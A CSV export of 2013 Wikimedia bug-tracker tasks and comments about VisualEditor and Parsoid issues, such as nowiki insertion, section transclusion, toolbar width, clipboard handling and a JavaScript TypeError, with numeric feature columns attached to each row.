+54266,Parsoid or VisualEditor: nowiki added around space following HTML comment,"At line 138 of https://en.wikipedia.org/w/index.php?title=Wikipedia&diff=566045928&oldid=566042453 parsoid (presumably) has added nowikis around around a space following a HTML comment. I don't know whether the comment containing references is relevant or not.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375176300,1375199871.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-vbh2rbaxi3v4g2vosvk6,task_description,resolved,True,c1,3,False,False,True,4,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+249210,Parsoid or VisualEditor: nowiki added around space following HTML comment,"
+
+*** This bug has been marked as a duplicate of bug 50758 ***",,,1375199871,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-vbh2rbaxi3v4g2vosvk6,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+54264,VisualEditor: Wikitext insertion warning needs to be more visible,"The wikitext insertion warning now works, and is visible regardless of the position of the user on the page.
+
+However, its color scheme is the same as other regular, confirmation-type notifications like ""you've added this page to your watchlist"".
+
+Wikitext insertion is an actual problem, rather than ""just"" a confirmation or feedback notification. We need it to be more visible, possibly by using a different color scheme. Maybe not a big red blinking bubble, but something more noticeable than a white bubble with a light blue border.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375169040,1385396737.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-poqv6admiczpvguuyu43,task_description,declined,True,c1,3,False,False,False,4,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,0
+249118,VisualEditor: Wikitext insertion warning needs to be more visible,"WONTFIX. It's currently blocking save, doesn't disappear until clicked, and in the standard place for interactive notifications in MediaWiki; moving these around for the mouse (or cursor) could get very ugly and confusing, and the advantage isn't so significant that it's worth doing.",,,1385396737,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-poqv6admiczpvguuyu43,task_subcomment,,True,c1,3,True,,,21,,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+249111,VisualEditor: Wikitext insertion warning needs to be more visible,"Maybe closest to the mouse would be better. If someone edits at the bottom of the displayed content with a large screen, I’m not sure he will see the warning, too far.",,,1375263838,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,,PHID-TASK-poqv6admiczpvguuyu43,task_subcomment,,True,c1,3,False,,,4,,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0
+54252,Recognise Labeled Section Transclusions as mw:Extension/Lst or similar in Parsoid,"Labeled Section Transclusion (<section begin=""2012-07-monthly""/>Text here<section end=""2012-07-monthly""/>) is not supported.  This is used for status reports on MediaWiki.org.  The first step is to alienate it.  Currently it is treated as raw text.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375142220,1376428165.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-2i2pvcby76cfowf624hh,task_description,resolved,True,c1,3,True,False,True,4,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+248314,Recognise Labeled Section Transclusions as mw:Extension/Lst or similar in Parsoid,"LST is heavily used in wikisource, where most parts of pages are wrapped in section tags. Alienation and / or an extension-like visual edit experience would not be ideal there, which is why we are considering supporting <section> natively as the HTML5 element it is.
+
+Closing as duplicated of bug 47936 for that reason. Please respond there if you feel that this is the wrong approach.
+
+*** This bug has been marked as a duplicate of bug 47936 ***",,,1376428165,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-2i2pvcby76cfowf624hh,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+248309,Recognise Labeled Section Transclusions as mw:Extension/Lst or similar in Parsoid,"Related: bug 51562
+Related: bug 47936
+
+We probably need a single bug that merges all these three.",,,1375203999,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-2i2pvcby76cfowf624hh,task_subcomment,,True,c1,3,True,,,4,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0
+248302,Recognise Labeled Section Transclusions as mw:Extension/Lst or similar in Parsoid,whoops. misfire.,,,1375203841,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-2i2pvcby76cfowf624hh,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+248299,Recognise Labeled Section Transclusions as mw:Extension/Lst or similar in Parsoid,"
+
+*** This bug has been marked as a duplicate of bug 51462 ***",,,1375203763,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-2i2pvcby76cfowf624hh,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+248296,Recognise Labeled Section Transclusions as mw:Extension/Lst or similar in Parsoid,"For VisualEditor to alienate something, all that is required is for Parsoid to mark it up as something VisualEditor doesn't recognise; right now, Parsoid and VisualEditor are both entirely dumb to the issue. :-)",,,1375143543,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-2i2pvcby76cfowf624hh,task_subcomment,,True,c1,3,True,,,4,,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+248295,Recognise Labeled Section Transclusions as mw:Extension/Lst or similar in Parsoid,An example is https://www.mediawiki.org/w/index.php?title=Editor_engagement_experiments/status&oldid=750533,,,1375142308,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-2i2pvcby76cfowf624hh,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0
+54251,"VisualEditor: Link input widget should not show ""New: (redlink)"" when a redirect exists by that name","Screenshot of problem
+
+See screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11666}",Needs Triage,90.0,1375142160,1376073139.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-xvbh6q43vypy6tjr3wjo,task_description,resolved,True,c1,3,True,False,True,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+248262,"VisualEditor: Link input widget should not show ""New: (redlink)"" when a redirect exists by that name","
+
+*** This bug has been marked as a duplicate of bug 50898 ***",,,1376073139,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-xvbh6q43vypy6tjr3wjo,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+54250,VisualEditor: Add guidance message into the reference dialog to tell a user what to put there,"One of the biggest interface issue is the new reference dialog. The use is presented with a window and no real guidance on what to do. 
+
+Some brief instructions guiding the user to choose an appropriate citation template would be good. This obviously needs to be customisable on a wiki basis. For en.wikipedia you could have something like
+
+""To add a reference please choose a citation template like {{cite web}}, {{cite journal}}, {{cite book}} or {{cite news}}. Click the jigsaw icon to insert one of these templates.""
+
+The message could be specified by a page in the MediaWiki: namespace.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1375138020,1375141752.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-zg6asep6oadhz6pkrf4o,task_description,declined,True,c1,3,False,False,True,4,,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+248201,VisualEditor: Add guidance message into the reference dialog to tell a user what to put there,"This feels like the wrong approach. In general, if you have to prompt a user with text telling them what to do, your interface has failed.
+
+Bug 50110 (which we want to work on soon) would give users some buttons (or something similar) for a few, recommended templates for the context - and yes, that would be wiki-localised.
+
+Consequently, I'm marking this as WONTFIX so we can focus on bug 50110.",,,1375141752,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zg6asep6oadhz6pkrf4o,task_subcomment,,True,c1,3,True,,,4,,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+54248,Provide a way for the Behavior switches magic words to be inserted.,"The Behavior switches like __TOC__, __NOTOC__ are occasionally useful in the article space and __NOINDEX__ is a useful in the user namespace. Some way to insert these in visual editor would be handy.
+
+Bug 49996 and Bug 50855 also address magic words, but don't seem to cover the Behavior switches.
+
+This was discussed at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Some_ideas_for_29_July
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375136040,1385384185.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-yokifd7zmqwcieiz3iiy,task_description,resolved,True,c1,3,False,False,False,4,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+248120,Provide a way for the Behavior switches magic words to be inserted.,"This was later created as bug 56865, but I'm only just triaging this now. Up-merging (unusually) given the history on that one - sorry!
+
+*** This bug has been marked as a duplicate of bug 56865 ***",,,1385384185,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yokifd7zmqwcieiz3iiy,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+54242,VisualEditor: template substituted in,"See https://en.wikipedia.org/w/index.php?title=Cruz_Azul&diff=564888460&oldid=564725284 - very strange.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375130640,1385395969.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ahjlajk3zasbqo4br4bs,task_description,resolved,True,c1,3,False,False,False,4,,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+247748,VisualEditor: template substituted in,This was a recurring Parsoid bug which is now fixed; closing. Sorry for slow triage.,,,1385395969,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ahjlajk3zasbqo4br4bs,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+54218,inserting media into tables,"Inserting media, namely images, into complext tables leads to problems. A user tried to put an image into a table listing Intel CPU sockets on De.WP and the search function went back and forth in being able to find the image he knew was on Commons and how it is labeled.
+
+Table:
+
+http://de.wikipedia.org/wiki/Prozessorsockel#Intel
+
+Image:
+
+http://commons.wikimedia.org/wiki/File:Intel_Socket_1150_IMGP8593_smial_wp.jpg
+
+The file fails to show up, if you put its name in manually once you reach ""5""
+
+Report:
+
+http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=121004381#Bildeinbindung
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375105920,1383282089.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-d4phvcwb6pak5wn2vbdh,task_description,resolved,True,c1,3,False,False,False,4,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+246556,inserting media into tables,"This is actually a duplicate of bug 52782, which has been marked as WONTFIX as the Wikimedia search system is being replaced. Sorry for the slow response.
+
+*** This bug has been marked as a duplicate of bug 52782 ***",,,1383282089,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-d4phvcwb6pak5wn2vbdh,task_subcomment,,True,c1,3,True,,,17,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+246548,inserting media into tables,"Confirmed.
+Typing 'Intel Socket 11' gives a list of images, but not this image.
+Typing 'Intel Socket 115' gives zero results.
+
+The image description is 'Intel core socket 1150, open.'
+
+Typing in 'Intel core socket 1150' does show this, and other images, so it doesnt appear to be bug 50018.",,,1375133339,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-d4phvcwb6pak5wn2vbdh,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+54212,reference clipboard errors,"If one tries to move a reference using Ctrl + X to pick it out, Ctrl + V doesn't work, i.e. the reference doesn't seem to be stored in the clipboard. 
+
+If one selects the sign to the left of the reference as well, Ctrl + V provides the reference number but not the content, which gets lost.
+
+If one selects the sign to the right of the reference as well, Ctrl + V provides the sign to the right but the reference gets lost.
+
+If one selects a sign to the right and to the left of the reference, it works.
+
+Report: http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=120995561#Einzelnachweise_in_der_Zwischenablage
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375088700,1375134084.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-etdxsdkmhg4aoyrvdmmw,task_description,resolved,True,c1,3,False,False,True,4,,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+246229,reference clipboard errors,"
+
+*** This bug has been marked as a duplicate of bug 49396 ***",,,1375134084,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-etdxsdkmhg4aoyrvdmmw,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+54205,VisualEditor: Toolbar should fit on landscape iPad (and average non-maximised windows in general),"Screenshot of VE on an iPad (3rd gen, iOS 6, en.wikipedia.org)
+
+Dimensions   Dim.. without OS menu bar
+iPhone / iPod     320 x 480    320 x 460
+iPh?o.. Retina    640 x 960    640 x 920
+iPad (portait)    768 x 1024   768 x 1004
+iPa.. (landscape) 1024 x 768   1024 x 748
+
+
+So that means at least under 1024px (not accounting for MediaWiki sidebar, that is to be subtracted from that)
+
+Measuring on my MacBook Pro in latest Chrome I measure exactly 1281px as the minimum window width to have the toolbar be one line. 1331px to account for vector-hd mode and allow a bit of breathing room between the left and right half of the toolbar.
+
+When at 1281px, the width of just the toolbar (subtracted the mw sidebar) is 1103px.
+
+So, a lot to cut down on. Any ideas?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11563}",Needs Triage,90.0,1375057440,1380221526.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-wgr5qefyrk6vxixqgywz,task_description,resolved,True,c1,3,True,False,True,4,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+245709,VisualEditor: Toolbar should fit on landscape iPad (and average non-maximised windows in general),"Yes, this is; merging.
+
+*** This bug has been marked as a duplicate of bug 51000 ***",,,1380221526,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wgr5qefyrk6vxixqgywz,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+245700,VisualEditor: Toolbar should fit on landscape iPad (and average non-maximised windows in general),Same as bug 51000?,,,1380219240,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-wgr5qefyrk6vxixqgywz,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+245693,VisualEditor: Toolbar should fit on landscape iPad (and average non-maximised windows in general),"Created attachment 13387
+Screenshot of two side-by-side VE windows on 1080p screen
+
+I see the exact same problem when sizing a window to half of a 1080p HD screen -- circa 960px window width is not uncommon...
+
+**Attached**: {F11565}",,,1380219110,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-wgr5qefyrk6vxixqgywz,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+54198,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","Per http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Content_transclusion_causes_WTF_mode
+
+If trying to add a template, only adding content (empty) and click apply, following error is thrown:
+
+TypeError: content is undefined
+http://bits.wikimedia.org/static-1.22wmf11/extensions/VisualEditor/modules/ve-mw/dm/nodes/ve.dm.MWTransclusionNode.js
+Line 192
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1375037280,1384198086.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_description,declined,True,c1,3,False,False,False,3,,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+245098,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","(In reply to comment #5)
+> Doesn't give a error anymore, but API is returning: 
+> 
+>  {""warnings"":{""main"":{""*"":""Unrecognized parameter:
+> 'token'""}},""visualeditor"":{""result"":""success"",""content"":""<p>x</p>\n\n""}}
+
+That warning is unrelated. We're passively passing the authentication token to API requests, even though some API requests don't require a token. This is technical debt we should clean up.
+
+Closing bug as fixed/worksforme.",,,1384198086,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_subcomment,,True,c1,3,True,,,19,,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+245094,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","(In reply to comment #1)
+> 1. Insert Transclusion
+> 2. Ignore ""New template"" panel in the dialog and go to ""+ [] Add content""
+> 3. Type ""x""
+> 4. Apply changes
+
+5. Show changes
+6. Review your changes
+
+  Foo
++ x
+  Bar
+
+All works as expected on latest master, and no errors.",,,1384198025,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_subcomment,,True,c1,3,True,,,19,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1
+245091,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","Doesn't give a error anymore, but API is returning: 
+
+ {""warnings"":{""main"":{""*"":""Unrecognized parameter: 'token'""}},""visualeditor"":{""result"":""success"",""content"":""<p>x</p>\n\n""}}",,,1384196822,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_subcomment,,True,c1,3,False,,,19,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0
+245088,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","(In reply to comment #3)
+> (In reply to comment #2)
+> > > > >      if (content.params) {
+> > 
+> > If we had used coffescript instead of plain JS, it would be so simple to
+> > write
+> > that as:
+> >  if content?.params
+> >    ...
+> > 
+> > Now I assume we'll need to do it manually as
+> >   if (typeof content !== ""undefined"" && content !== null && content.params) {
+> >     ...
+> >   }
+> It's much easier than that, you can just do if ( content && content.params )
+> .
+> No need to use typeof and string comparisons and all that :)
+> 
+> Really, though, content shouldn't be undefined in the first place.
+
+Indeed, guarding it with an if statement for content? itself is undesirable because the error is elsewhere.",,,1384196302,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3h7v3emjhhqinh5o5aqf,task_subcomment,,True,c1,3,True,,,19,,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,0,1
+245083,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'params' of undefined 'content'""","(In reply to comment #2)
+> > > >      if (content.params) {
+> 
+> If we had used coffescript instead of plain JS, it would be so simple to
+> write
+> that as:
+>  if content?.params
+>    ...
+> 
